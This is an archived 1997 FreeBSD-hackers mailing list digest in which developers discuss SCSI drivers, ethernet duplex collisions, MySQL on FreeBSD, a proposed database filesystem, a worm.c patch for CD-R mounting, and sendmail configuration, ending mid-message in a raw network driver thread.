[127.0.0.1] didn't use HELO protocol To: hackers@freebsd.org Subject: DPT PM2144 driver? Date: Mon, 11 Aug 1997 23:20:11 -0700 From: Dave Hayes Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm not sure if I asked this before, but are there drivers for this caching SCSI controller in FreeBSD? There are in linux and BSDI, so I presume that FreeBSD has some too. ------ Dave Hayes - Altadena CA, USA - dave@jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet A philosopher called on Nasrudin and found him away from home. Infuriated, he wrote 'Stupid Oaf' on his door. As soon as Nasrudin got home and saw this, he rushed to the philosopher's house. "I'd forgotten", he said, "that you were to call. And I apologize for not having been at home. I remembered our appointment as soon as I saw that you'd left your name on my door..." From owner-freebsd-hackers Mon Aug 11 23:22:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA03358 for hackers-outgoing; Mon, 11 Aug 1997 23:22:44 -0700 (PDT) Received: from agni.nuko.com (dummy.nuko.com [206.79.130.80]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA03352 for ; Mon, 11 Aug 1997 23:22:41 -0700 (PDT) Received: (from vinay@localhost) by agni.nuko.com (8.8.5/8.7.3) id XAA06902; Mon, 11 Aug 1997 23:21:13 -0700 (PDT) From: Vinay Bannai Message-Id: <199708120621.XAA06902@agni.nuko.com> Subject: Re: fxp driver full duplex packet loss problem To: tom@sdf.com (Tom Samplonius) Date: Mon, 11 Aug 1997 23:21:13 -0700 (PDT) Cc: black@zen.cypher.net, dg@root.com, hackers@FreeBSD.ORG In-Reply-To: from "Tom Samplonius" at "Aug 11, 97 05:39:29 pm" X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Tom Samplonius: > > On Mon, 11 Aug 1997, Ben Black wrote: > > > a good indication of this duplex mismatch is a sudden appearance of FCS > > errors and Runts on the cisco interface. > > When I switch full duplex on the FreeBSD server, the switch starts > recording late collision errors on that port (a 10BT port on a Cat 1900). > I'm not sure what this means. > > Tom Late collision errors typically when the ethernet collision domain distance limitations are violated. Typically the collision window for a transmitting node is 512 bit times. This also is the minimum ethernet packet size (64 bytes). This also imposes a limit on the maximum diamter of the ethernet collision domain. Thus the furthest distance between any two nodes in the LAN should not be more than 512 bit times. This basically means if you (transmitting node) don't see a collision in the first 512 bit times then you basically acquired the ethernet and can be assured that you won't see a collision. In case you see a collision after the 512 bit times than you got yourself a late collision. For a full duplex connection there are NO collisions and there should not be any late collisions. So if the switch says there are late collisions that means that the switch is basically in some sort of screwed up half-duplex mode for the port. Maybe the NIC card thinks it is in full duplex and the switch is in half duplex. This also means that the auto-negotiation is not working properly between the switch and the NIC. I would presume the NIC would be at fault. I say that because if the NIC gets any garbled response from the switch it should automatically fall back in the half duplex mode. Or the switch might be saying it supports full dup but does not do it. In that case I would say it would have to be a bug in the switch. Vinay -- Vinay Bannai E-mail: vinay@agni.nuko.com (408)-526-0280 x 275 (Work) http://agni.nuko.com/~vinay From owner-freebsd-hackers Mon Aug 11 23:28:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA03561 for hackers-outgoing; Mon, 11 Aug 1997 23:28:59 -0700 (PDT) Received: from news.IAEhv.nl (root@news.IAEhv.nl [194.151.64.4]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id XAA03556 for ; Mon, 11 Aug 1997 23:28:32 -0700 (PDT) Received: from LOCAL (uucp@localhost) by news.IAEhv.nl (8.6.13/1.63) with IAEhv.nl; pid 8448 on Tue, 12 Aug 1997 06:27:24 GMT; id GAA08448 efrom: marc@nietzsche.bowtie.nl; eto: UNKNOWN Received: from localhost (localhost [127.0.0.1]) by nietzsche.bowtie.nl (8.8.2/8.7.3) with ESMTP id IAA26340; Tue, 12 Aug 1997 08:28:20 +0200 (MET DST) Message-Id: <199708120628.IAA26340@nietzsche.bowtie.nl> X-Mailer: exmh version 1.6.7 5/3/96 To: "Jamil J. Weatherbee" cc: hackers@freebsd.org Subject: Re: mysql: MySQL for FreeBSD 3.0 (fwd) In-reply-to: jamil's message of Mon, 11 Aug 1997 22:53:56 -0700. Reply-to: marc@bowtie.nl Date: Tue, 12 Aug 1997 08:28:20 +0200 From: Marc van Kempen Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk We use the solid server from solid information technology (http://www.solidtech.com) It's a good sql server that comes with a 32 bit ODBC driver, so you'll be able to use all window clients that support odbc. The only drawback is that they only have linux binaries, no FreeBSD binaries. But we haven't had any problems so far, running the database. Marc. ---------------------------------------------------- Marc van Kempen BowTie Technology Email: marc@bowtie.nl WWW & Databases tel. +31 40 2 43 20 65 fax. +31 40 2 44 21 86 http://www.bowtie.nl ---------------------------------------------------- From owner-freebsd-hackers Tue Aug 12 01:07:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA08858 for hackers-outgoing; Tue, 12 Aug 1997 01:07:30 -0700 (PDT) Received: from news.IAEhv.nl (root@news.IAEhv.nl [194.151.64.4]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id BAA08849 for ; Tue, 12 Aug 1997 01:07:26 -0700 (PDT) Received: from LOCAL (uucp@localhost) by news.IAEhv.nl (8.6.13/1.63) with IAEhv.nl; pid 14035 on Tue, 12 Aug 1997 08:07:24 GMT; id IAA14035 efrom: marc@nietzsche.bowtie.nl; eto: hackers@freebsd.org Received: from localhost (localhost [127.0.0.1]) by nietzsche.bowtie.nl (8.8.2/8.7.3) with ESMTP id KAA03181 for ; Tue, 12 Aug 1997 10:08:50 +0200 (MET DST) Message-Id: <199708120808.KAA03181@nietzsche.bowtie.nl> X-Mailer: exmh version 1.6.7 5/3/96 To: hackers@freebsd.org Subject: Does anyone know of token-ring ethernet bridging software? Reply-to: marc@bowtie.nl Date: Tue, 12 Aug 1997 10:08:50 +0200 From: Marc van Kempen Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, This is a bit offtopic, but not entirely, since it involves a FreeBSD server. Does anyone know of software to turn a PC into a ethernet-token ring bridge (or router)? I need to route mail from an ethernet LAN to a token-ring LAN, and FreeBSD (unfortunately) does not support token-ring cards. Regards, Marc. ---------------------------------------------------- Marc van Kempen BowTie Technology Email: marc@bowtie.nl WWW & Databases tel. +31 40 2 43 20 65 fax. +31 40 2 44 21 86 http://www.bowtie.nl ---------------------------------------------------- From owner-freebsd-hackers Tue Aug 12 01:51:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA11117 for hackers-outgoing; Tue, 12 Aug 1997 01:51:05 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id BAA11112 for ; Tue, 12 Aug 1997 01:51:02 -0700 (PDT) Received: (qmail 23833 invoked by uid 1000); 12 Aug 1997 08:51:19 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Tue, 12 Aug 1997 01:51:18 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: FreeBSD-Hackers@FreeBSD.org Subject: DBFS - A new Filesystem for FreeBSD - Proposal Sender: owner-freebsd-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Hi Y'all, I am building a special filesystem, purpose built for RDBMS service. In case someone else wants to use it, I will briefly discuss it below. In any case, in the end there is a question I would like to get your opinion on. Known Features: * No subdirectories * No (or very simplistic) permissions * Very simple and linear block allocation * Able to span devices * Able to use resources (devices) on other, remote systems * Able to share the filesystem with another processor across the physical medium * Very fast directory and resource search * Able to perform either buffered or raw I/O on the same file. * Able to preallocate storage to a file, so files are contigious on a device * Able to pre-specify the number and size of extents a file can acquite beyond initial allocation If you have opinions so far, let me know. Remember, this file systems is NOT designed to compete with, replace, augment, nor complement existing filesystems. It is designed specifically as a storage manager for RDBMS engines. Questions: a. How do I provide the proper semantics for file creation in the Unix context? The Unix semantics for filesystems are that files are a stream of bytes, managed via a buffred I/O subsystem, etc. There is no place to specify size upon creation, extent policy, etc. b. How do i provide for buffered and non-buffered (raw) I/O on the same file? We have considered several options: a. Put the whole thing in a userspace library. This is what virtually every RDBMS vendor has done. It has the advantage of being easily portable and very easy to acomplish all the above as the semantics can be arbitrarily specified in the API without any consideration to exising Unix semantics. We do not like this option as it interferes with the distributed and shared aspects and is very costly in the area of locking and synchronization 9too many syscalls, too many semaphores, etc. b. Put the whole thing in a filesystem and forget any feature that vilates Unix file I/O semantics. We like this one the least as this is a ``Sodom Bed'' (Genesis, shorten the legs of the too tall and stretch he who is too short). c. Put the whole thing in the kernel and do all access from a library that does all the I/O via ioctl syscalls to the device. This is a hack that might work but will force lots of copyin and copyout, where raw I/O would have done much better. d. Extend exisitng system calls to accept the extra arguments we need. This is dangerous in our humble opinion as it will tamper with unbroken things and violate more standards than we have fingers to count them on. e. Add new syscalls to take care of what we need, exactly the way we need it. Without too many details, as an invitation to discuss, one can envision these: int dbopen(const char *path, size_t inital_size, size_t extents, size_t extent_size); We really do not need permissions and modes. But could have them if necessary. sizes are expressed in blocks, native to that fs instance. ssize_t dbread(int fd, void *buff, ssize_t offset, size_t blocks, int flags); Flags can be DBIO_RAW which forces a read from disk, rather than buffered read. Yes, we are aware of double jeopardy in reading unbuffered where buffered copies exist. We either have NO buffered I/O at all, or do our own buffering, in user space, or you come with a better solution :-) Also notice that we eliminate lseek in favor of specifying the seek as number of blocks from beginning of file. ssize_t dbwrite(int fd, const void *buff, ssize_t offset, size_t blocks, int flags); Again, flags can be DBFS_RAW which forces flushed/synchronous write. We are currently implemnting this code and an alpha version should be running in the next week or so. We would like it to be as acceptable to you gals and guys, so let me know what you think. Simon From owner-freebsd-hackers Tue Aug 12 02:11:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA11886 for hackers-outgoing; Tue, 12 Aug 1997 02:11:32 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA11881 for ; Tue, 12 Aug 1997 02:11:29 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id CAA00722; Tue, 12 Aug 1997 02:10:51 -0700 (PDT) Date: Tue, 12 Aug 1997 02:10:51 -0700 (PDT) From: "Jamil J. Weatherbee" To: Simon Shapiro cc: FreeBSD-Hackers@FreeBSD.ORG In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk This is definetly not something that would become part of a production kernel -- seems that it is far to specific, the bsd kernel is not a database engine, that's what mmap is for. Any scheme like this, I am sorry to say it, you end up losing on because it will be not portable enough (but hell, if you want amusement go right ahead there aren't any laws against that). As it is I think some would agree that there are far too many file systems to deal with and that FFS lacks some generality and leaves things to be desired (actually I think that eventually everything will head the way of single level storage [no filesystems, the ultimate generalization of a filesystem]). Maybye you should call it SFS (Shapiro File System) From owner-freebsd-hackers Tue Aug 12 03:22:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA14340 for hackers-outgoing; Tue, 12 Aug 1997 03:22:08 -0700 (PDT) Received: from lab321.ru (anonymous1.omsk.net.ru [194.226.32.34]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA14308 for ; Tue, 12 Aug 1997 03:21:38 -0700 (PDT) Received: from localhost (localhost.l321.omsk.net.ru [127.0.0.1]) by lab321.ru (8.8.6/8.8.5) with SMTP id RAA09543; Tue, 12 Aug 1997 17:20:14 +0700 (OSD) Date: Tue, 12 Aug 1997 17:20:14 +0700 (OSD) From: Eugeny Kuzakov To: Simon Shapiro cc: FreeBSD-Hackers@FreeBSD.ORG Subject: Re: DBFS - A new Filesystem for FreeBSD - Proposal In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 12 Aug 1997, Simon Shapiro wrote: > Hi Y'all, > > I am building a special filesystem, purpose built for RDBMS service. In > > Known Features: > > * No (or very simplistic) permissions Why ? What do you think about security ? Who many more simple file permissions I plan implement ? ...Sorry for my english... > As I understand, RDBMS( and unix) developers should support this file systems...I very like raw devices to use with RDBMS. More less flexability, but more performance...But Sun Microsystems not recomends usage RAW-devices as tablespaces for Oracle because ufs has good performance if file access. Additional questions: 1. Why FreeBSD ? I don't known good/big/commercial RDBMS's for FreeBSD. I very like FreeBSD, but commercial vendors - not..., because it's freeware and no commercial support. 2. Should RDBMS's vendors support your FS ? Or unix kernel only ? Notice: May be some of my questions ( or all :) ) and comments not correctly, because I don't known english very well and I not C programmer. Best wishes, Eugeny Kuzakov Laboratory 321 ( Omsk, Russia ) kev@lab321.ru From owner-freebsd-hackers Tue Aug 12 05:16:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA18227 for hackers-outgoing; Tue, 12 Aug 1997 05:16:29 -0700 (PDT) Received: from locust.etext.org (locust.etext.org [141.211.26.90]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA18222 for ; Tue, 12 Aug 1997 05:16:25 -0700 (PDT) Received: from localhost (pauls@localhost) by locust.etext.org (8.8.7/8.7.3) with SMTP id IAA16225; Tue, 12 Aug 1997 08:15:39 -0400 (EDT) Date: Tue, 12 Aug 1997 08:15:39 -0400 (EDT) From: Paul Southworth To: "Jamil J. Weatherbee" cc: freebsd-hackers@FreeBSD.ORG Subject: Re: mysql: MySQL for FreeBSD 3.0 (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jamil, MySQL is a SQL server, it doesn't just "look like" one. Also, MyODBC for MySQL is available for Windows 95 and NT. This is how you would access a MySQL server from an NT client using "MSQUERY" or Excel, for example. Go to the MySQL web site for details. http://www.tcx.se/ --Paul On Mon, 11 Aug 1997, Jamil J. Weatherbee wrote: : : :Speaking of mysql can someone give me an idea if it is possible to have :mysql look like a sql (or any other commercial sql server) to a windows nt :client. I want to set up a sql server on my freebsd machine (are there any :commercial sql servers that are _easy_ to get to work with nt as a client :[micro$oft access denied] ) I am willing to pay { well to a reasonable :extent } since it is to be for commercial use, of course I like the fact :that msql has a c library interface --- but how to get i so that access :can look at some tables. : : : : :On Mon, 11 Aug 1997, Paul Southworth wrote: : :> :> Test release is available for people who want to try MySQL using FreeBSD :> 3.0 native threads. :> :> ---------- Forwarded message ---------- :> Date: Mon, 11 Aug 1997 12:27:55 +0300 (EET DST) :> From: monty@tcx.se :> Reply-To: monty@analytikerna.se, mysql@tcx.se :> To: mysql@tcx.se, mysql-announce@tcx.se :> Subject: mysql: MySQL for FreeBSD 3.0 :> :> :> For those that want to test MySQL on FreeBSD 3.0 with native threads :> and sockets, there is now a binary version available. This can be found :> at 'http://www.tcx.se/.' :> :> This is a port of the 3.21.5 version. If one want's to compile this :> oneself on can get: :> :> ftp://www.tcx.se/pub/mysql/hidden/mysql-3.21.5-alpha.tar.gz :> :> NOTE: :> :> One must install the FreeBSD libc_r patch BEFORE configuring the :> source version. :> :> >From INSTALL-SOURCE: :> :> ------ :> The pthreads library for FreeBSD doesn't contain the sigwait function :> and there is some bugs in it. To fix this, get the FreeBSD-3.0-libc_r-1.0.diff :> file and run this in the /usr/src/lib/libc_r/uthread directory. Follow after :> this the instructions that can be found with 'man pthread' about how to :> recompile the libc_r library. :> :> You can test if you have a 'modern' libpthread.a with: :> :> > nm /usr/lib/libpthread.a | grep sigwait. :> :> If the above doesn't find sigwait you have to use the above patch and recompile :> libc_r. :> :> ------- :> :> Yours, Monty :> :> : From owner-freebsd-hackers Tue Aug 12 06:22:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA20862 for hackers-outgoing; Tue, 12 Aug 1997 06:22:31 -0700 (PDT) Received: from oskar.nanoteq.co.za (oskar.nanoteq.co.za [163.195.220.170]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA20838 for ; Tue, 12 Aug 1997 06:22:10 -0700 (PDT) Received: (from rbezuide@localhost) by oskar.nanoteq.co.za (8.8.5/8.8.5) id PAA07662 for freebsd-hackers@freebsd.org; Tue, 12 Aug 1997 15:21:59 +0200 (SAT) From: Reinier Bezuidenhout Message-Id: <199708121321.PAA07662@oskar.nanoteq.co.za> Subject: Can't mount worm0 To: freebsd-hackers@freebsd.org Date: Tue, 12 Aug 1997 15:21:58 +0200 (SAT) X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi ... I have the following setup 200 MHz pentium - running FreeBSD 3.0-970713-SNAP 128 MB ram Adaptec 2940UW SCSI controll SCSI disk WD Enterprise HP 4020i CDR When booting the machine the CDR is probed as worm0, I have made a sh MAKEDEV worm0 in the /dev durectory, but when I try to mount ANY CD in the drive it gives me the following error ... # mount_cd9660 /dev/worm0 /mnt mount_cd9660: Input/output error # ???? Any ideas .. I have compiled about 10 kernels, re-installed, the machine changed the SCSI ID's on the CDR, changed the sequence of the disk and the CDR etc. When I boot with a GENERIC kernel, I AM able to mount the /dev/cd0a and read the CD ?? Here follows the probe of the devices ... ..... chip2: rev 0x00 on pci0.7.1 ahc0: rev 0x00 int a irq 12 on pci0.9.0 ahc0: aic7880 Wide Channel, SCSI Id=7, 16 SCBs ahc0: waiting for scsi devices to settle scbus0 at ahc0 bus 0 Sending SDTR!! sd0 at scbus0 target 0 lun 0 sd0: type 0 fixed SCSI 2 sd0: Direct-Access 2077MB (4254819 512 byte sectors) ahc0:A:6: refuses WIDE negotiation. Using 8bit transfers ahc0:A:6: refuses synchronous negotiation. Using asynchronous transfers worm0 at scbus0 target 6 lun 0 worm0: type 5 removable SCSI 2 worm0: Write-Once vga0: rev 0x53 int a irq 10 on pci0.11.0 Probing for devices on the ISA bus: .... Thanx Reinier From owner-freebsd-hackers Tue Aug 12 06:49:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA22207 for hackers-outgoing; Tue, 12 Aug 1997 06:49:23 -0700 (PDT) Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA22202 for ; Tue, 12 Aug 1997 06:49:19 -0700 (PDT) Received: from mr1.exu.ericsson.se (mr1.exu.ericsson.com [138.85.147.11]) by gwa.ericsson.com (8.8.2/8.8.2) with ESMTP id IAA25855; Tue, 12 Aug 1997 08:48:48 -0500 (CDT) Received: from noah.lmc.ericsson.se (noah.lmc.ericsson.se [142.133.1.1]) by mr1.exu.ericsson.se (8.7.1/NAHUB-MR1.1) with ESMTP id IAA27657; Tue, 12 Aug 1997 08:48:44 -0500 (CDT) Received: from platinium.lmc.ericsson.se (platinium.lmc.ericsson.se [142.133.28.122]) by noah.lmc.ericsson.se (8.8.5/8.8.5) with ESMTP id JAA15349; Tue, 12 Aug 1997 09:46:29 -0400 (EDT) Received: from lmc.ericsson.se (platinium.lmc.ericsson.se [142.133.28.122]) by platinium.lmc.ericsson.se (8.8.3/8.8.3) with ESMTP id JAA13379; Tue, 12 Aug 1997 09:44:05 -0400 (EDT) Message-ID: <33F068A4.2B74050E@lmc.ericsson.se> Date: Tue, 12 Aug 1997 09:44:04 -0400 From: Samy Touati Organization: Ericsson Research Canada X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4m) MIME-Version: 1.0 To: Tom Samplonius , hackers@freebsd.org Subject: Re: sendmil on a bridge References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk When I send email from one segment, everything is fine. But when I send it from the second segment I get this message in the log: Aug 11 16:01:23 millipede sendmail[26335]: QAA26333: SYSERR(root): 142.133.241.1 config error: mail loops back to me (MX problem?) Aug 11 16:02:49 millipede sendmail[26344]: My unqualified host name (millipede) unknown; sleeping for retry Aug 11 16:03:49 millipede sendmail[26344]: unable to qualify my own domain name (millipede) -- using short name How can I tell sendmail that the machine has 2 hostnames? Samy Tom Samplonius wrote: > > On Mon, 11 Aug 1997, Samy Touati wrote: > > > Hi, > > > > I have a fbsd machine running 2.2.2 and it has 2 ethernets cards but > > it's not a router. > > I would like to have a sendmail config that will allow both sides of the > > connections to send mail to this machine (to a local user on this > > machine). > > > > Until now I was unsuccessful to get the mail working from both ends. > > Only one ends is working. > > > > Any ideas? > > > > Thanks. > > > > Samy > > > > > > > > > > Make sure that you are using the same hostname on both segments (give > the hostname multiple A records), or that you tell sendmail that you have > multiple hostnames. > > Of course, you have't really described what you are experiencing, so I'm > just guessing. > > Tom From owner-freebsd-hackers Tue Aug 12 07:33:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA24763 for hackers-outgoing; Tue, 12 Aug 1997 07:33:59 -0700 (PDT) Received: from gatekeeper.barcode.co.il (gatekeeper.barcode.co.il [192.116.93.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA24749 for ; Tue, 12 Aug 1997 07:33:52 -0700 (PDT) Received: (from nadav@localhost) by gatekeeper.barcode.co.il (8.8.5/8.6.12) id RAA19424; Tue, 12 Aug 1997 17:33:53 +0300 (IDT) Date: Tue, 12 Aug 1997 17:33:53 +0300 (IDT) From: Nadav Eiron To: hackers@freebsd.org Subject: NCR 810 fatal errors during install. (desperate plea) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've already tried the following on questions and scsi to no avail. Since I first posted I also found out the following: 1. The results are the same even if I leave just one disk connected (doesn't matter which). 2. WinNT 3.51 runs fine on this machine. In light of (2) above, this machine might end up running NT, which will make me (at least) very sorry. Any help is greatly appreciated. ---------- Forwarded message ---------- Date: Wed, 6 Aug 1997 19:08:10 +0300 (IDT) From: Nadav Eiron To: questions@freebsd.org Subject: NCR 810 fatal errors during install. Hi people, We have here a DECpc XL 590 (it used to be a 466, but got upgraded recently). This machine has a Nepture chipset, built-in NCR 53C810, 32MB RAM and a DE435 ethernet card. On the SCSI bus I have: ID 0 - Quantum LPS340S (340MB disk). ID 1 - HP C3323-300 (1GB disk). ID 5 - Toshiba XM-4101TA (2x CD). All are recognized correctly during boot (both disks work at 10MB/sec). Both 2.2.2-RELEASE and 2.2-090801-RELENG installs give the following shortly after starting writing to the disks (either during newfs-ing them or while copying): ncr0:0: ERROR (20:0) (8-28-0) (8/13) @ (e18:18000140). script cmd = 88030000 reg: da 10 80 13 47 08 00 1f 01 08 80 28 00 00 08 00. ncr0: have to clear fifos. ncr0: restart (fatal error). sd0(ncr0:0:0): COMMAND FAILED (9 ff) @f0663c00. ncr0: timeout ccb=f0663c00 (skip) and then it just hangs. This machine used to work fine (without the HP disk though) when it had a 486 CPU under Win95 and NT, BTW. Can anyone make sense of that? TIA Nadav From owner-freebsd-hackers Tue Aug 12 07:37:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA25008 for hackers-outgoing; Tue, 12 Aug 1997 07:37:06 -0700 (PDT) Received: from cabri.obs-besancon.fr (cabri.obs-besancon.fr [193.52.184.3]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id HAA25003 for ; Tue, 12 Aug 1997 07:37:01 -0700 (PDT) Received: by cabri.obs-besancon.fr (5.57/Ultrix3.0-C) id AA23710; Tue, 12 Aug 97 16:36:45 +0100 Date: Tue, 12 Aug 97 16:36:45 +0100 Message-Id: <9708121536.AA23710@cabri.obs-besancon.fr> From: Jean-Marc Zucconi To: rbezuide@oskar.nanoteq.co.za Cc: freebsd-hackers@freebsd.org In-Reply-To: <199708121321.PAA07662@oskar.nanoteq.co.za> (message from Reinier Bezuidenhout on Tue, 12 Aug 1997 15:21:58 +0200 (SAT)) Subject: Re: Can't mount worm0 X-Mailer: Emacs Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >>>>> Reinier Bezuidenhout writes: > Hi ... > I have the following setup > 200 MHz pentium - running FreeBSD 3.0-970713-SNAP It is probably caused by a buggy driver at this date. Try the following patch. Index: worm.c =================================================================== RCS file: /home/ncvs/src/sys/scsi/worm.c,v retrieving revision 1.42 retrieving revision 1.44 diff -u -r1.42 -r1.44 --- worm.c 1997/07/01 00:22:51 1.42 +++ worm.c 1997/08/01 12:48:35 1.44 @@ -43,7 +43,7 @@ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * - * $Id: worm.c,v 1.42 1997/07/01 00:22:51 bde Exp $ + * $Id: worm.c,v 1.44 1997/08/01 12:48:35 jmz Exp $ */ #include "opt_bounce.h" @@ -228,10 +228,11 @@ { errval ret; struct scsi_data *worm = sc_link->sd; + int blk_size; SC_DEBUG(sc_link, SDEV_DB2, ("worm_size")); - worm->n_blks = scsi_read_capacity(sc_link, &worm->blk_size, + worm->n_blks = scsi_read_capacity(sc_link, &blk_size, flags); /* @@ -551,6 +552,7 @@ worm->worm_flags &= ~WORMFL_TRACK_PREPED; sc_link->flags &= ~SDEV_OPEN; } + worm->blk_size = 2048; } } else worm->worm_flags |= WORMFL_IOCTL_ONLY; Jean-Marc _____________________________________________________________________________ Jean-Marc Zucconi Observatoire de Besancon F 25010 Besancon cedex PGP Key: finger jmz@cabri.obs-besancon.fr From owner-freebsd-hackers Tue Aug 12 08:04:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA27060 for hackers-outgoing; Tue, 12 Aug 1997 08:04:36 -0700 (PDT) Received: from oskar.nanoteq.co.za (oskar.nanoteq.co.za [163.195.220.170]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA27044 for ; Tue, 12 Aug 1997 08:04:26 -0700 (PDT) Received: (from rbezuide@localhost) by oskar.nanoteq.co.za (8.8.5/8.8.5) id RAA10856; Tue, 12 Aug 1997 17:03:54 +0200 (SAT) From: Reinier Bezuidenhout Message-Id: <199708121503.RAA10856@oskar.nanoteq.co.za> Subject: Re: Can't mount worm0 In-Reply-To: <9708121536.AA23710@cabri.obs-besancon.fr> from Jean-Marc Zucconi at "Aug 12, 97 04:36:45 pm" To: jmz@cabri.obs-besancon.fr (Jean-Marc Zucconi) Date: Tue, 12 Aug 1997 17:03:54 +0200 (SAT) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi ... > > It is probably caused by a buggy driver at this date. Try the > following patch. > > Jean-Marc > _____________________________________________________________________________ Yes it did solve the problem .... Thanks a lot Reinier From owner-freebsd-hackers Tue Aug 12 09:09:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA01065 for hackers-outgoing; Tue, 12 Aug 1997 09:09:51 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA01060 for ; Tue, 12 Aug 1997 09:09:46 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA25453; Tue, 12 Aug 1997 09:05:09 -0700 From: Terry Lambert Message-Id: <199708121605.JAA25453@phaeton.artisoft.com> Subject: Re: DISCUSS: interface for raw network driver.. To: ccsanady@friley01.res.iastate.edu (Chris Csanady) Date: Tue, 12 Aug 1997 09:05:09 -0700 (MST) Cc: terry@lambert.org, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199708120321.WAA04402@friley01.res.iastate.edu> from "Chris Csanady" at Aug 11, 97 10:21:18 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >The mmap'ing has long been used to save the copy overhead, by causing > >the uiomove() to take the transfer fault in kernel space (the user > >space reference only exists to get a DT entry of some kind). > > DT? Sorry; shorthand: Descriptor Table, LDT/GDT entries... > >If you mapped a file into a process (specifically, grabbed some > >anonymous pages from /dev/zero), it seems to me that it would > >provide the same facilities, without the danger that someone else > >could stomp on your memory region which was pinned in the KVA space. > > This is a good point. Although there are a few issues. First of all, > If I just grabbed pages from zero, they wouldn't be contiguous. This > makes it more difficult in that the driver will have to use the physical > addresses when dma'in in or out--which means scatter gather to an > arbitrary number of segments. Also, unless only one process were > allowed access to the device at a time, you couldn't know which segment > an arbitrary 